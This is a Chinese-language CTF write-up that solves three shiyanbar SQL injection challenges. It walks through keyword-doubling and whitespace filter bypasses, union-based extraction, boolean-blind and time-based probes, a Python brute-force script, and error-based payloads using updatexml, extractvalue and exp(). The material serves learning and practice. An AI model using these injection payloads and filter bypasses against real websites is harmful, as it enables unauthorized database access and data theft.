前言:之前学习过了联合注入查询、布尔盲注、时间盲注等,这次就通过SQL注入题来加强一下。
简单的sql注入
方法一
输入有回显,且有输入框,那就可以用联合查询的方法来注入
题中提示已经过滤了一些关键字,那么就先来查看题中过滤的是哪些关键字
1 | ?id=1 union select order by # |
回显结果:union
,select
等都被过滤而且没有报错说明#
也被过滤
可以自己建立一个语句来验证一下
如果#
没有被过滤,那么上面的语句将会变成这样,语句一定会报错
题中将关键字过滤,可以尝试一下双写绕过的方法是否可用
输入框中输入?id=1 unionunion selectselect
,发现空格也被过滤了
但双写绕过的方法是可行的,可以采用这个方法
判断注入点
可以采用'='
或1' or '1'='1
查看是否有注入点
SQL注入——注入点判断
判断闭合符号
发现输入框中输入1'
时语句报错,由于这道题将注释符号给过滤了,那就用'
来闭合后面的单引号,这样来测试是否'
为闭合符号,可以自己建立sql语句来更详细的了解一下
在输入框中输入1 ' '
,发现回显正常,说明'
即为闭合符号
接下来就是联合注入的一系列步骤了
判断列数
当判断是否有注入点的时候,发现
只有name,而我们输入的ID则一直不变,因此猜测列数只有一列
查询数据表
题中已经将注释符给过滤掉了,但是在上面已经知道了'
是闭合符号,那就可以用and '1'='1
来闭合后面的单引号
1 | ?id=1' union select group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1 |
其他都被过滤了,构造双写绕过,前面也说了空格也被过滤了,但是也可以用两个空格来绕过过滤
输入
1 | ?id=1' unionunion selectselect group_concatgroup_concat(table_name) fromfrom information_schema.tables wherewhere table_schematable_schema=database() andand '1'='1 |
发现table_schematable_schema
被强制换掉了,那么就用table_schemtable_schemaa
这种形式来绕过,过滤中间的,前后再拼接成table_schematable_schema
payload:1
?id=1' unionunion selectselect group_concatgroup_concat(table_name) fromfrom information_schema.tables wherewhere table_schemtable_schemaa=database() andand '1'='1
有一个表名为flag,flag应该就在里面
查字段
payload:1
?id=1'unionunion selectselect group_concatgroup_concat(column_namcolumn_namee) fromfrom information_schema.columinformation_schema.columnsns wherewhere table_name='flag
这里column_name
也采用错位的方法来绕过,但估计是系统原因吧,莫名奇妙崩了
看了其他大师傅的博客,知道flag是其中的一个字段,就构造语句查询结果
查值
payload:1
?id=1'unionunion selectselect flag fromfrom flag wherewhere '1'='1
得出结果
方法二
一道题肯定是不只一种解法的,再来看看另一种方法
输入1
?id=1 unionunion and selectselect
发现回显
很奇怪,如果是过滤关键字了,为什么还有关键字,尝试几次就会发现关键字过滤实际上是过滤后面带有一个空格的关键字,那就又出现了一个思路,只需将空格绕过即可
常见的空格绕过有这些
1 | +、%0a、%0b、/**/ |
查询数据库
1 | ?id=1' union/**/select/**/database()' |
1 | ?id=1' union%0aselect%0adatabase()' |
1 | ?id=1' union%0bselect%0bdatabase()' |
三种均能够查出数据库
查数据表
1 | ?id=1' union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemtable_schemaa='web1 |
同样table_schema
需要错位来进行绕过
查字段
1 | ?id=1'union/**/select/**/group_concat(column_namcolumn_namee)/**/from/**/information_schema.information_schema.columnscolumns/**/where/**/table_name='flag |
还是那个问题,不管它,反正语句正确
查值
1 | ?id=1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1 |
简单的sql注入之2
输入1
?id=1' and length(database())>1 --+
回显结果为:
第一反应用时间盲注试试
1 | ?id=1' and if(length(database())>5,1,sleep(5)) --+ |
回显结果:
那就换一种思路,用布尔盲注测试
1 | ?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>200 --+ |
故意将ASCII值调大,看是否还出现SQLi detected!
回显结果还是出现
那就换手工注入,观察到底过滤了什么
输入?id='='
得出列数为一列
测试闭合符号
输入
1 | ?id=1' |
报错
输入
1 | ?id=1' ' |
还是报错
但是输入
1 | ?id=1'' |
回显正常
说明这里把空格给过滤了,可以再输入一些其他的来验证一下
输入
1 | ?id=1' and '1'='1 |
回显错误
输入
1 | ?id=1'and'1'='1 |
回显正确,果然是过滤了空格,在sql注入之一,通过/**/
来绕过空格,这次就再用一次
查数据库
1 | ?id=1'union/**/select/**/database()/**/' |
查数据表
1 | ?id=1'union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web1 |
查字段
1 | ?id=1'union/**/select/**/group_concat(column_namcolumn_namee)/**/from/**/information_schema.columns/**/where/**/table_name='flag |
这次竟然显示了,然而没高兴过一秒就又不行了
查值
1 | ?id=1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1 |
简单的sql注入之3
方法一、布尔盲注
一开始做没注意提示是报错提示,就用布尔盲注去尝试,结果还是可以做的
闭合符号还是'
,这里就不再演示了
正常输入的话回显为:
那就构造一下布尔盲注查数据表的语句看是否可行
1 | ?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+ |
回显正常,说明可以进行布尔盲注
可以手工注入,也可以写脚本跑出来,这里就写脚本跑出来
猜解长度1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import requests
def len():
for i in range(1,5):
url = '''http://ctf5.shiyanbar.com/web/index_3.php'''
#猜表名长度
payload = '''?id=1' and length(database())>%s''' %i
#猜字段长度
#payload = '''?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>%s ''' %i
#猜值长度
#payload = '''?id=1' and (select length(column_name) from information_schema.columns where table_name ='flag' limit 0,1)>%s'''
# print(url+payload+'%23')
r = requests.get(url+payload+'%23')
if 'Hello!' in r.text:
print(i)
else:
#print('false')
print('database_length:',i)
len()
猜解数据
1 | import requests |
但是在猜解字段长度和猜解字段的时候又出现这个问题
就不管这个问题,之前一直以为脚本中的payload又错误,结果是服务器有错误,所以无法跑出列名,查看大师父们的博客,发现列名还是flag,好吧,继续跑值
由于脚本中range
的长度是1-5,所以只能跑出
就将range
的范围改的大一些,改为1-30
因为python还不太熟练,所以写的脚本还比较菜,继续努力学习写脚本吧
方法二、报错注入
不过这样就结束了?,我还一直在疑惑,这题道将哪些东西给过滤了,结果提交的时候发现
报错注入,那就再用报错注入来做一遍
用常用的语句尝试一下
1 | ?id=2' select count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+ |
回显结果为:
说明floor函数
已经被过滤了,查一下报错注入常用的其他函数
十种MySQL报错注入
updatexml报错注入
SQL注入之报错注入的一些随笔
1 | floor() |
updatexml () 函数1
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select schema_name),0x7e) from admin limit 0,1),0x7e),1)--+
extractvalue()报错
1 | ?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ |
updatexml()报错注入
1 | ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ |
exp()报错注入
1 | ?id=1' union select (exp(~(select * FROM(SELECT USER())a)))--+ |
终于让找到没有被过滤的函数了
查数据表1
?id='or exp(~(Select * From (select group_concat(table_name) from information_schema.tables where table_schema=database())x)) %23
这就没意思了吧。。。。都不能用,算了就顺便总结一下payload,方便以后用
exp()报错注入
查数据库
1 | ?id='or exp(~(Select * From (select database())x)) %23 |
查数据表
1 | ?id='or exp(~(Select * From (select group_concat(table_name) from information_schema.tables where table_schema=database())x)) %23 |
查字段
1 | ?id='or exp(~(Select * From (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')x)) %23 |
查值
1 | ?id='or exp(~(Select * From (select flag from flag)x)) %23 |
附上大师傅博客,向大师傅学习
V0W
原本想用sqlmap工具来做,谁知道虚拟机崩了,没法打开,最近可真倒霉,phpstudy崩完,虚拟机崩,唉
(还要再去解决虚拟机的问题) 累啊
感悟:一道题不只一种解法,多尝试其他方法拓宽自己的思路,最近也比较烦躁,总觉得做题没意思,不会了只会看大师傅的writeUp,一做题就懵逼,做一道题可能就用一上午,不过那这也是正常的,还是得耐心点,不是为了做题而做题,切记不要浮躁, 继续努力,有困难就解决!